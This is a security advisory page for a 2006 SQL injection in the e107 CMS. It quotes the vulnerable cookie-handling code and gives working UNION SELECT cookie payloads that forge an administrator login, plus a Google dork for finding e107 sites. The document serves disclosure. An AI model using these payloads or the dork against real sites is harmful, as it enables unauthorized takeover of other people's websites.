SQL-Injection in e107 allows attacker to become a site admininstrator

2006-05-17 / 2006-05-18
Credit: socsam
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Software: e107 (CMS) Versions: <= 0.7.2 Type: SQL-injection Homepage: www.e107.org Description: ---------------------------- SQL-Injection in e107 allows attacker to become a site admininstrator. Requirements: ---------------------------- Magic_quotes_gpc = Off Vulnerability: ---------------------------- Vulnerability has been found in processing the COOKIE. COOKIE use for authentification users and administrator. Data transfered to this parameter not are filtered. Code: ---------------------------- class2.php ..... > list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".", > $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']])); ..... > if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) { ..... Exploit: 0.6.xxx 1.blabla_hash_password' union select * from e107_user where user_id=1/* 0.7.X 1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995 361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,3 2,33 /* Additional Information: ----------------------- Google dorks: "Powered by e107" Vendor Status ------------- The vendor is informed!


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top